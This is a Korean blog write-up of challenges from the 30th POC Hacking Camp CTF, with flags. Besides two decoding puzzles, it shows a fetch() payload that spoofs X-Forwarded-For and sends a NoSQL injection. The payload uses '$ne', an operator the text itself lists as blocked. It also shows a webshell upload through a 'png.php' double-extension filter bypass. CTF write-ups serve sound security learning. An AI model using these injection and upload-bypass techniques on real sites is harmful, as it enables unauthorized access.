Contest Write-Up

제 30회 POC 해킹캠프 CTF Write-Up

0xH0P3 2025. 2. 16. 01:10

이번 해킹캠프에서는 서울여자대학교 정보보호영재교육원 면접 이슈로 부득이하게 참가자로 참가하지는 못했지만 발표자로 참가해 밤에 재미삼아 CTF를 풀어보았습니다 ㅎㅎ

North Korea 제가 설정한거 아닙니다!!

게스트 계정으로 솔로 플레이로... 이 정도... 풀었습니다...

웹 2문제 풀어서 다행이라고 생각합니다 ㅋㅋㅋ

 

1. WeakShell (Misc)

hex_values = [
    0x48, 0x43, 0x41, 0x4D, 0x50, 0x7B, 0x35, 0x34, 0x30, 0x61, 0x33, 0x30, 0x61, 0x38, 0x37, 0x37, 
    0x65, 0x62, 0x65, 0x33, 0x35, 0x37, 0x36, 0x62, 0x39, 0x38, 0x31, 0x62, 0x62, 0x35, 0x35, 0x33, 
    0x37, 0x30, 0x63, 0x35, 0x37, 0x62, 0x32, 0x64, 0x30, 0x38, 0x64, 0x33, 0x32, 0x64, 0x38, 0x34, 
    0x34, 0x34, 0x35, 0x62, 0x39, 0x61, 0x61, 0x38, 0x36, 0x65, 0x34, 0x30, 0x36, 0x36, 0x31, 0x38, 
    0x33, 0x35, 0x34, 0x37, 0x36, 0x64, 0x7D
]

decoded_string = ''.join(chr(i) for i in hex_values)

decoded_string = (decoded_string[10:] + decoded_string[:10])
decoded_string = ''.join([decoded_string[i:i+3] for i in range(0, len(decoded_string), 3)])
decoded_string = decoded_string[-10:] + decoded_string[:-10]

 

헥스 값으로 바꿔주면 됩니다.

Flag: HCAMP{540a30a877ebe3576b981bb55370c57b2d08d32d84445b9aa86e40661835476d}

 

2. JSCPT (Misc) 🩸 First Blood

prefix = "\u0048\u0043\u0041\u004D\u0050\u007B"
hex_values = "\u0039\u0030\u0061\u0062\u0038\u0063\u0035\u0061\u0036\u0062\u0033\u0034\u0036\u0031\u0037\u0030\u0061\u0031\u0065\u0032\u0037\u0037\u0064\u0035\u0035\u0031\u0039\u0064\u0031\u0064\u0034\u0032\u0036\u0035\u0035\u0033\u0032\u0037\u0038\u0037\u0065\u0033\u0038\u0065\u0033\u0062\u0065\u0064\u0037\u0036\u0031\u0033\u0033\u0035\u0063\u0036\u0031\u0064\u0065\u0038\u0031\u0032"

decoded_prefix = prefix.encode().decode('unicode_escape')
decoded_hex_values = hex_values.encode().decode('unicode_escape')

decoded_flag = decoded_prefix + decoded_hex_values + "}"

 

이 문제도 그냥 유니코드로 디코딩해서 플래그 형식을 붙여주면 됩니다.

Flag: HCAMP{90ab8c5a6b346170a1e277d5519d1d4265532787e38e3bed761335c61de812}

 

 

3. 일을 하려면... (Web) 🩸 First Blood

if(!isset($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] !== '127.0.0.1') {
   die("Only local access allowed.");
}

 

HTTP_X_FORWARDED_FOR가 "127.0.0.1"이어야 함 → 이 값은 HTTP 요청 헤더를 수정하여 우회 가능합니다.

 

$input = json_decode($_POST['password'], true);

if (is_array($input)) {
   $blocked_operators = ['$ne', '$regex', '$gt', '$lt', '$gte', '$lte', '$in', '$nin', '$exists'];
   
   foreach ($blocked_operators as $op) {
       if (isset($input[$op])) {
           die("허용되지 않은 연산자가 포함되었습니다.");
       }
   }
}

 

password 필드를 json_decode($_POST['password'], true);로 받아 JSON 형식으로 텍스트 파일로 처리합니다.

$ne, $regex 등의 엔사티어 시스템을 처리하지 못하도록 체크해요.

하지만 $eq (값이 동일한지 확인하는 엔사티어)은 체크하지 않습니다 → NoSQL Injection 공격이 가능합니다

 

페이로드:

fetch("http://3.39.38.109:3029/login.php", {
    method: 'POST',
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Request-Time": Date.now(),
        "X-Forwarded-For": "127.0.0.1"
    },
    body: "username=admin&password={\"$ne\":null}"
})
.then(response => response.text())
.then(data => console.log(data));

 

 

Flag: HCAMP{164543913fab0a120ba09052098985816a2e2fa64ce55798ddbd7f3258d4f11d}

 

 

4. 카사노바의 이혼 대작전 (Web) 🩸 First Blood

제공되는 소스코드를 보면, regex 가 걸려있습니다.

<?php
ob_start();

// POST request
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $input_pw = isset($_POST["password"]) ? $_POST["password"] : "";

    if (strlen($input_pw) >= 30) {
        header("Location: information.php?error=length");
        exit();
    } else {
        $input_pw = base64_decode($input_pw);
        $regex = "/\d{2,5}\@[3-9]{3}(42){1,5}[^\\dAEIOU\\*\\(\\)]{2}\\!\\$/";
        $pw = preg_replace($regex, "n3wPa55W0rd", $input_pw);

        if ($pw == "n3wPa55W0rd") {
            header("Location: information.php?success=777");
        } else {
            header("Location: information.php?error=invalid");
        }
        exit();
    }
} else {
    echo "Not GET request";
}

ob_end_flush();

 

12 → 숫자 2~5개
@ → @ 포함
333 → 3~9 중 3개
4242 → 42 반복
zz → 숫자/A/E/I/O/U/*/( ) 제외한 문자 2개
!$ → 끝에 !$ 추가

 

import base64
payload = "12@3334242zz!$"
encoded_payload = base64.b64encode(payload.encode()).decode()
print(encoded_payload)

 

최종 패스워드는 Base64로 인코딩한 값을 넣으면 Real Password를 반환해줍니다.

 

 

신분증 사본 첨부에서 webshell.php 를 업로드 하려니, 사진 이미지만 받아집니다.

필터링을 우회하기 위해, webshell.png.php 이런식으로 업로드하면 우회할 수 있습니다.

비밀번호는 R3A1_paxxw0rD 입력 후,

보통 웹 소스 코드는 /var/www/html 에 있으므로 들어가서 Flag를 찾아보았습니다.

var/www/html/uploads/.hidden/.flag.txt 경로에 플래그가 있었습니다.

cat 명령어로 플래그를 출력할 수 있습니다.

cat var/www/html/uploads/.hidden/.flag.txt

 

Flag: HCAMP{ad9244e1b0d2bb30669d2f0d6b83deaf58a53699f50c1fe152a1c2dc8cd9c49a}

 

CTF Warm Up (CTF 맛보기) 라이트업은 따로 작성하지 않겠습니다.

 

 

5. 소감

이번에 처음으로 POC 해킹캠프 CTF에 참가를 했는데요!

신박한 문제들이 너무 많아서 좋았고 또 문제 스토리(?) 같은게 재밌어서 좋았습니다 ㅋㅋ